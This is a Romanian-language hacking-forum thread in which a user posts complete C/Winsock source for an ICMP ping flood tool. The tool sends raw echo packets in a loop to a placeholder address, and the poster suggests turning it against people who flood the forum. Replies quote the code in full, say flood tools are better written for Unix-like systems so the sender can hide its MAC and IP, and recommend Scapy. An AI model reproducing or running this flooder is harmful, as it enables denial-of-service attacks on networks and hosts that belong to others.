Jump to content
MrGrj

[TUTORIAL]ICMP ping flood folosind sockets in C

Recommended Posts

  • Active Members
Posted

Acest mic programel este scris strict pentru a invata cum sa folosim socket-uri si ICMP ( "echo" requests ). E treaba voastra ce si cum il folositi si o faceti pe propia raspundere.

Despre Ping si ICMP:

Ping = un instrument de re?ea folosit pentru a verifica dac? un anumit calculator poate fi accesat prin intermediul unei re?ele de tip IP. Ping trimte mesaje ICMP “echo request” (în române?te solicitare de r?spuns) prin pachete adresate host-ului vizat ?i a?teapt? r?spunsul la aceste mesaje venite sub form? de r?spunsuri ICMP “echo response” de la hostul destina?ie. Transmi?ând periodic astfel de pachete ?i calculând întârzierea cu care ajung r?spunsurile, ping estimeaz? timpul de round-trip, precum ?i rata de pierdere a pachetelor dintre host-uri.

Codul pe care urmeaza sa il parcurgem trimite pachete in masa ( flood pe romaneste ) asa ca va repet: folositi pe propia raspundere.

Ca urmare a flood-urilor primite de RST m-am gandit ca poate vreti sa folositi asta pe propia raspundere impotriva celor care "arunca cu cacat" de plictiseala. Urmarind thread-ul asta am zis ca poate vreti si nu stiti cum :)

Internet Control Message Protocol (abreviat ICMP) = un protocol din suita TCP/IP care folose?te la semnalizarea ?i diagnosticarea problemelor din re?ea. Protocolul este definit in RFC792. Mesajele ICMP sunt încapsulate în interiorul pachetelor IP. Versiunea ICMP ptr IPv4 este adesea cunoscuta ca ICMPv4; in schimb IPv6 dispune de un protocol similar cunoscut sub abrevierea ICMPv6.

Probabil cele mai utilizate programe care se bazeaz? pe ICMP sunt ping ?i traceroute.

Toate pachetele IP au în antet un câmp special numit TTL (Time To Live). Acest câmp este decrementat de fiecare dat? când trece printr-un ruter. Pentru a evita buclele de routare, în momentul în care câmpul TTL ajunge la zero pachetul nu este trimis mai departe. În aceast? situa?ie, router-ul care a decrementat câmpul TTL la zero trimite c?tre calculatorul-origine al pachetului (adresa acestuia se afl? tot în prologul IP) un mesaj ICMP de tip time exceeded. Programul traceroute profit? de acest mecanism ?i trimite c?tre calculatorul ?int?, pachete UDP cu valori ale câmpului TTL din ce în ce mai mari, cu scopul de a ob?ine mesaje time exceeded de la toate routerele aflate pe traseu.

Mai jos am comentat liniile ce mi s-au parut esentiale. In rest, ce nu stiti, google is your friend (asta daca vreti sa stiti).

Let's purcedem into the cod:


#include "stdio.h"
#include "winsock2.h"
#include "conio.h"
#include "stdint.h"

#pragma comment(lib,"ws2_32.lib") //libraria winsock 2.2

#define ICMP_ECHO 8 /* Echo Request - cel explicat in definitia de la ping */

unsigned short in_cksum(unsigned short *ptr, int nbytes);

typedef uint8_t u_int8_t;
typedef uint16_t u_int16_t;
typedef uint32_t u_int32_t;

struct icmphdr
{
u_int8_t type; /* tipul mesajului */
u_int8_t code; /* tip cod */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* dam echo la datagram */
u_int32_t gateway; /* addresa gateway */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};

int main(int argc, char *argv[])
{
char *packet, *data=NULL;

SOCKET s;
int k = 1, packet_size, payload_size = 512, sent = 0;

struct iphdr *iph = NULL;
struct icmphdr *icmph = NULL;
struct sockaddr_in dest;

//Initializare winsock
WSADATA wsock;
printf("\nInitializare winsock...");
if (WSAStartup(MAKEWORD(2,2),&wsock) != 0)
{
fprintf(stderr,"WSAStartup() failed");
exit(EXIT_FAILURE);
}
printf("Terminat !");

//Acum creeam pachetele ICMP
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == SOCKET_ERROR)
{
printf("Eroare la creearea pachetelor raw-icmp");
exit(EXIT_FAILURE);
}

dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr("1.2.3.4");

packet_size = sizeof(struct icmphdr) + payload_size;
packet = (char * )malloc(packet_size);

//zero out the packet buffer
memset (packet, 0, packet_size);

icmph = (struct icmphdr*) packet;
icmph->type = ICMP_ECHO;
icmph->code = 0;
icmph->un.echo.sequence = rand();
icmph->un.echo.id = rand();

// initializam payload-ul TCP cu cacaturi
data = packet + sizeof(struct icmphdr);
memset(data, '^', payload_size);

//suma de control
icmph->checksum = 0;
icmph->checksum = in_cksum((unsigned short *)icmph, packet_size);

printf("\nTrimitem pachetele...\n");

while(1)
{
if(sendto(s , packet , packet_size , 0 , (struct sockaddr *)&dest, sizeof(dest)) == SOCKET_ERROR )
{
printf("Eroare la trimiterea pachetelor : %d" , WSAGetLastError());
break;
}

printf("%d Pachetele au fost trimise cu succes\r" , ++sent);
_getch();
}

return 0;
}

/*
Functie pt a calcula suma de control( calculata în func?ie de câmpurile antet ICMP + sir de date )
*/
unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
register long sum;
u_short oddbyte;
register u_short answer;

sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}

if (nbytes == 1) {
oddbyte = 0;
*((u_char *) & oddbyte) = *(u_char *) ptr;
sum += oddbyte;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;

return (answer);
}

Sursa de mai sus poate fi compilata in visual studio. Creeati un nou proiect, compilati si verificati cu ajutorul unui sniffer de retea (ex: wireshark) daca pachetele ICMP au fost trimise cu succes.

Codul de mai sus este un ciot si tre' tratat ca atare. Nu mi-am batut gura cu prea multe chestii teoretice pentru ca oricum 95% vor da copy-paste si vor rupe flood-ul in 15.

Sper sa va fie de folos si sa invatati ceva util din el.

Posted
Acest mic programel este scris strict pentru a invata cum sa folosim socket-uri si ICMP ( "echo" requests ). E treaba voastra ce si cum il folositi si o faceti pe propia raspundere.

Despre Ping si ICMP:

Ping = un instrument de re?ea folosit pentru a verifica dac? un anumit calculator poate fi accesat prin intermediul unei re?ele de tip IP. Ping trimte mesaje ICMP “echo request” (în române?te solicitare de r?spuns) prin pachete adresate host-ului vizat ?i a?teapt? r?spunsul la aceste mesaje venite sub form? de r?spunsuri ICMP “echo response” de la hostul destina?ie. Transmi?ând periodic astfel de pachete ?i calculând întârzierea cu care ajung r?spunsurile, ping estimeaz? timpul de round-trip, precum ?i rata de pierdere a pachetelor dintre host-uri.

Codul pe care urmeaza sa il parcurgem trimite pachete in masa ( flood pe romaneste ) asa ca va repet: folositi pe propia raspundere.

Ca urmare a flood-urilor primite de RST m-am gandit ca poate vreti sa folositi asta pe propia raspundere impotriva celor care "arunca cu cacat" de plictiseala. Urmarind thread-ul asta am zis ca poate vreti si nu stiti cum :)

Internet Control Message Protocol (abreviat ICMP) = un protocol din suita TCP/IP care folose?te la semnalizarea ?i diagnosticarea problemelor din re?ea. Protocolul este definit in RFC792. Mesajele ICMP sunt încapsulate în interiorul pachetelor IP. Versiunea ICMP ptr IPv4 este adesea cunoscuta ca ICMPv4; in schimb IPv6 dispune de un protocol similar cunoscut sub abrevierea ICMPv6.

Probabil cele mai utilizate programe care se bazeaz? pe ICMP sunt ping ?i traceroute.

Mai jos am comentat liniile ce mi s-au parut esentiale. In rest, ce nu stiti, google is your friend (asta daca vreti sa stiti).

Let's purcedem into the cod:


#include "stdio.h"
#include "winsock2.h"
#include "conio.h"
#include "stdint.h"

#pragma comment(lib,"ws2_32.lib") //libraria winsock 2.2

#define ICMP_ECHO 8 /* Echo Request - cel explicat in definitia de la ping */

unsigned short in_cksum(unsigned short *ptr, int nbytes);

typedef uint8_t u_int8_t;
typedef uint16_t u_int16_t;
typedef uint32_t u_int32_t;

struct icmphdr
{
u_int8_t type; /* tipul mesajului */
u_int8_t code; /* tip cod */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* dam echo la datagram */
u_int32_t gateway; /* addresa gateway */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};

int main(int argc, char *argv[])
{
char *packet, *data=NULL;

SOCKET s;
int k = 1, packet_size, payload_size = 512, sent = 0;

struct iphdr *iph = NULL;
struct icmphdr *icmph = NULL;
struct sockaddr_in dest;

//Initializare winsock
WSADATA wsock;
printf("\nInitializare winsock...");
if (WSAStartup(MAKEWORD(2,2),&wsock) != 0)
{
fprintf(stderr,"WSAStartup() failed");
exit(EXIT_FAILURE);
}
printf("Terminat !");

//Acum creeam pachetele ICMP
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == SOCKET_ERROR)
{
printf("Eroare la creearea pachetelor raw-icmp");
exit(EXIT_FAILURE);
}

dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr("1.2.3.4");

packet_size = sizeof(struct icmphdr) + payload_size;
packet = (char * )malloc(packet_size);

//zero out the packet buffer
memset (packet, 0, packet_size);

icmph = (struct icmphdr*) packet;
icmph->type = ICMP_ECHO;
icmph->code = 0;
icmph->un.echo.sequence = rand();
icmph->un.echo.id = rand();

// initializam payload-ul TCP cu cacaturi
data = packet + sizeof(struct icmphdr);
memset(data, '^', payload_size);

//suma de control
icmph->checksum = 0;
icmph->checksum = in_cksum((unsigned short *)icmph, packet_size);

printf("\nTrimitem pachetele...\n");

while(1)
{
if(sendto(s , packet , packet_size , 0 , (struct sockaddr *)&dest, sizeof(dest)) == SOCKET_ERROR )
{
printf("Eroare la trimiterea pachetelor : %d" , WSAGetLastError());
break;
}

printf("%d Pachetele au fost trimise cu succes\r" , ++sent);
_getch();
}

return 0;
}

/*
Functie pt a calcula suma de control( calculata în func?ie de câmpurile antet ICMP + sir de date )
*/
unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
register long sum;
u_short oddbyte;
register u_short answer;

sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}

if (nbytes == 1) {
oddbyte = 0;
*((u_char *) & oddbyte) = *(u_char *) ptr;
sum += oddbyte;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;

return (answer);
}

Sursa de mai sus poate fi compilata in visual studio. Creeati un nou proiect, compilati si verificati cu ajutorul unui sniffer de retea (ex: wireshark) daca pachetele ICMP au fost trimise cu succes.

Codul de mai sus este un ciot si tre' tratat ca atare. Nu mi-am batut gura cu prea multe chestii teoretice pentru ca oricum 95% vor da copy-paste si vor rupe flood-ul in 15.

Sper sa va fie de folos si sa invatati ceva util din el.

Programelele de fl00d trebuiesc scrise de preferinta pentru platforme *nix deoarece Win nu ofera suport pentru raw sockets. Cu alte cuvinte nu ne putem ascunde MAC-ul, IP-ul din pachete.

Posted

Limitations on Raw Sockets

On Windows 7, Windows Vista, Windows XP with Service Pack 2 (SP2), and Windows XP with Service Pack 3 (SP3), the ability to send traffic over raw sockets has been restricted in several ways:

TCP data cannot be sent over raw sockets.

UDP datagrams with an invalid source address cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped. This change was made to limit the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets (TCP/IP packets with a forged source IP address).

A call to the bind function with a raw socket for the IPPROTO_TCP protocol is not allowed.

Note The bind function with a raw socket is allowed for other protocols (IPPROTO_IP, IPPROTO_UDP, or IPPROTO_SCTP, for example).

These above restrictions do not apply to Windows Server 2008 R2, Windows Server 2008 , Windows Server 2003, or to versions of the operating system earlier than Windows XP with SP2.

Cu alte cuvinte nu le poti folosi pe un windows recent.

  • Active Members
Posted
Felicitari pentru munca pe care ai depus-o. Si mai ales in C, jos palaria. Acum, doar ca o opinie, poti sa incerci acelasi lucru si cu Python Scapy. Este cam de 200 de ori mai simplu. :)

Si ce te face sa crezi ca daca e mai simplu e mai ok ? :) Uite, daca vrei ceva ok in Python, asta ar fi.

Posted

Ideea este ca Scapy a fost creat pentru asa ceva. C-ul mai putin. Dar chiar nu are importanta. Ideea este ca atunci cand, sa spunem "te alearga ursul Panda", unele lucruri se fac mai usor daca se foloseste metoda cea mai potrivita. :)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...